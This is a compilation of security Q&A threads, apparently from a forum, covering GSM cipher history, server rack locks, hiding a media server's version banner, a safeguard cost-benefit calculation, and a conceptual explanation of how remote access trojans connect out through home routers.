It seems to me this is for historical and technical reasons. A5/1 and A5/2 seem to be rather old designs from late 1980s. They do not appear to be in use any more. There was no AES at that time and 3DES is block cipher and GSM networks vendors apparently wanted stream ciphers back then. KASUMI seems to have been accepted also around the the time or before AES was announced, so they couldn't have made AES the standard cipher either. Also, AES is USA standard while these GSM network standards are international, and politics is a thing.


Changing locks on server cabinet I work in higher education, and we have a server room with various server cabinets, mostly APC and Belkin.  The room is secured via card swipe access, however each server rack has the same lock, which presents a problem as this room serves the college.  I have searched high and low, and cannot seem to find a straight forward solution.  There are a few racks we would like to ensure are secure only to our department, by changing out all of the locks on the server racks.  What is the best, easiest, quickest, most cost effective way to go about this?  They all have swing handled locks on the front and back of the rack doors, and a lock on each side panel.  Thanks for you input!

From a security standpoint,  most locks are very easy to bypass.  The design for Pin-tumbler locks date back to 4000 BC in Egypt.  Although server locks are easy to purchase.   I am not aware of a "high security" locks for servers.

The BEST approach is to limit access to the data center.  If you cannot do that,  then move sensitive servers to the cloud.


How to hide Windows Media Services server version header We have a Windows Media services server (used for streaming video) that returns the following banner in HTTP responses

Server: Cougar/9.6.7600.16564

I am trying to see if it is possible to stop the server from including this banner (or at least the exact version number) in order to reduce the information given out by it.

One possible answer could be using a HTTP proxy to strip the headers, though I was wondering if anyone knew of a solution similar to using URL Rewrite to hide ASP.NET server banners.

The Windows Media Server is high-bandwidth, low CPU media server. So it can stream 20GBps with 10% CPU usage on 2008 produced server.

Because of that it's quite inefficient to put anything in front of it like proxy, and then, it's not really HTTP server, it has only HTTP headers.

There are no web browsers actually using it (except for playlists), it is used by specialized players on various devices, including Windows Media Player.

I haven't heard about method of disabling that string, and I think Nessus doesn't complain either if I remember correctly.


Is this the correct way to calculate value of safeguards in risk management? An investigation by the Information Security department has shown that
  the cost of rectifying a website damaged by a hacker is about Rs. 200k
  per incident. Available records (over the last ten years) show that
  such hacking activity has happened about five times during this period
  for comparable businesses. You have been asked to evaluate a security
  solution consisting of

  • Two application-level firewalls (costing Rs. 20k each),

  • One IPS/IDS appliance (costing Rs. 10k each).

  The expected lifetime of the solution is 5 years - the cost is
  capitalised over 5 years. All security systems carry a simplified 20%
  (of total cost) charge for ‘installation, support, maintenance, and
  management’ per year.

If the suggested security solution reduces the cost of the damage by 70% per incident, I need to find the value of the safeguard to the company. So, I calculate as below:

SLE('Single Loss Expectancy’) : 200K

ARO('Annualised Rate of Occurrence') : 0.5 per year

ALE('Annualised Loss Expectancy') : 100k (200k * 0.5)

ALE(Before) : 100k

ALE(After)  : 30K

Controls cost : 2 firewalls + 1 IDS + maintenance = 50k + 50k = 100k (for five years)
Annualised cost : 100k / 5 = 20k

Value of safeguard to the company: 100 - 30 - 20 = 50K

What you have calculated is the traditional "Cost Benefit Analysis" (CBA). The calculation is:

CBA = ALE(prior) – ALE(post) – ACS

Where ACS is the Annualised Cost of Safeguard.

This is used to determine if the CBA is positive and also to estimate the projected Return on Security Investment (ROSI). If positive, then you know that the safeguard will provide more protection than it costs. The ROSI helps to qualify this safeguard against other safeguards and to weigh against other non-monetary costs that might also need to be considered.

This is not strictly "value" as you suggest in your question, but it might be understood that way.


How do RATs access computers through routers? I've started trying to increase my networking security at my house. One thing that worries me (because other people in the house are always downloading viruses that come along with "free" games) are RATs. In my ignorant understanding of how RATs work, they basically get you to download a 'server' that a 'client' connects to via a port that it opens on the host machine. However, if my host machine is behind a router, am I still safe?

The communication between computer goes both ways, so there can be two cases:

The RAT is a server: this is the case for many well-known and legit remote access tools, like remote desktop, VNC etc... In this case, you need to allow port forwarding on your router to be able to access the computer.
The RAT is a client: the tool will try to connect to a "centre of command" somewhere the hacker can accept the inbound connection. Then the client offers a remote shell. In this case, there is no need for port forwarding on the router.